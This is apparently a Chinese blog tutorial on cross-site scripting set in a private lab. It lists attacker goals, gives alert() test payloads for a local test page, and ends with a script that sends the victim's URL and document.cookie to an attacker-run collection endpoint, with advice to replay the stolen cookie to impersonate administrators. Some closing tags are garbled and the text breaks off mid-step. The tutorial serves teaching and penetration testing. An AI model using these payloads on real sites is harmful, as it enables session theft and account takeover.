XSS攻击(1), 测试XSS漏洞, 获取cookie

XSS漏洞, 测试XSS漏洞, 获取cookie

一, 概念:

XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础.

二, 目的:

XSS(跨站脚本)攻击的目的多种多样,攻击者可以利用这种漏洞实施各种恶意行为。以下是一些常见的XSS攻击目的:

  1. 窃取Cookie:许多攻击者使用XSS来窃取用户的cookies,尤其是session cookies。一旦攻击者获得了这些cookies,他们可能能够伪造用户身份,接管用户的会话,访问账户或执行未授权的操作。

  2. 账户劫持:与上一点相关,一旦窃取了用户的认证信息,攻击者可以接管用户账户。这可能涉及改变账户设置、进行欺诈性交易或获取敏感信息。

  3. 传播恶意软件:攻击者可以使用XSS漏洞在用户的浏览器中执行脚本,导致受害者下载和安装恶意软件或勒索软件。

  4. 钓鱼攻击:通过XSS,攻击者可以修改网页内容,创建伪造的登录窗口或其他交互式元素,诱使用户提供敏感信息,如用户名、密码或信用卡详情。

  5. 网站内容篡改:攻击者可以修改受害者看到的网站内容,包括插入虚假信息、广告或其他恶意内容。

  6. 网络钓鱼和点击劫持:攻击者可以使用XSS注入脚本,强制用户在背景中执行不可见的操作,如点击广告或链接,从而为攻击者带来经济利益。

  7. 利用用户的身份执行操作:如果受害者具有某些特权,例如网站管理员,攻击者可能会利用XSS漏洞,使用受害者的权限对网站进行未授权的修改。

  8. 收集敏感信息:除了cookies外,攻击者还可以利用XSS窃取存储在浏览器中的其他数据,如localStorage中的数据或Web应用中的敏感信息。

  9. DDoS攻击:通过XSS,攻击者可以迫使受害者的浏览器成为分布式拒绝服务(DDoS)攻击的一部分,对目标网站进行攻击。

  10. 绕过访问控制:在某些情况下,攻击者可能使用XSS来绕过前端的安全检查或限制。

三, 测试XSS漏洞

原理:

XSS的原理就是开发者没有对输入内容进行过滤, 导致通过攻击者精心构造的前端代码, 输入后和原来的前端代码产生混淆, 形成新的页面语句, 并且新的页面代码能够被浏览器解析并输出.

步骤:
    1. 页面既有输入的地方, 也有输出的地方, 比如留言板, 论坛发帖等等.
    1. 在文本输入的地方使用, , 等标签嵌入代码并提交, 例如:
2023年前三季度我国货物贸易进出口总值30.8万亿元,同比微降0.2%;其中,9月当月,进出口3.74万亿元,
规模创年内单月新高。
<button onclick=alert(document.cookie)>显示cookiebutton>
国新办当天举行的新闻发布会上表示,面对复杂严峻的外部环境和国内多重困难挑战,
我国货物贸易进出口平稳运行、积极向好。
    1. 查看提交后显示帖子的页面, 如果alert能够弹出消息, 说明存在XSS漏洞.
能够运行js的一些位置:
url: http://192.168.112.200/security/testxss.php?content=1
1. 标签
content=<script>alert(1)script>
content=<script>alert('hello word')script>
content=<script>alert(/hello word/)script>

注意:
在url提交参数时, 加号 ‘+’ 会被表示为空格.
如果想使用加号本身, 需要url编码, 加号的url编码是 ‘%2B’ 或 ‘%2b’ .

2. onclick, onerror, onload, onfocus, onblur, onchange, onmouseover 等事件
content=<button onclick=alert(1)>快来点我button>
content=<img src="https://www.baidu.com/result.png" onclick="alert(1)">
content=<img src="https://www.baidu.com/result.png" onmouseover="alert(1)">
content=<script>function test(){alert("hello world");}script><button onclick=test()>点我测试button>
3. 超链接的 href 属性, 或类似属性.
content=<a href="javascript:alert(1)">快来点我a>

四, 利用XSS获取url, cookie

将当前用户访问的url和cookie发送到攻击者的远程服务器接口.
后续通过burpsuit等工具篡改cookie即可伪装用户越权访问, 尤其是管理员账户.

案例:
  1. 利用js代码动态生成一个图片对象, 通过src属性将url和cookie发送到攻击者准备好的远程服务器上.
    当用户访问页面时, 会自动发送这个GET请求.

%2b表示+, 用于拼接字符串
%26表示&, 用于表示get参数之间的间隔符

接口: http://192.168.112.200/security/getxssinfo.php
方法: GET
参数: url, cookie

payload:

这周,一家人工智能初创公司的募资额快追上这个数。
<script>
    new Image().src = "http://192.168.112.200/security/getxssinfo.php?
    url="%2blocation.href%2b"%26cookie="%2b document.cookie;
script>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
  1. 如果目标服务器不能执行

你可能感兴趣的:(渗透测试,xss,前端)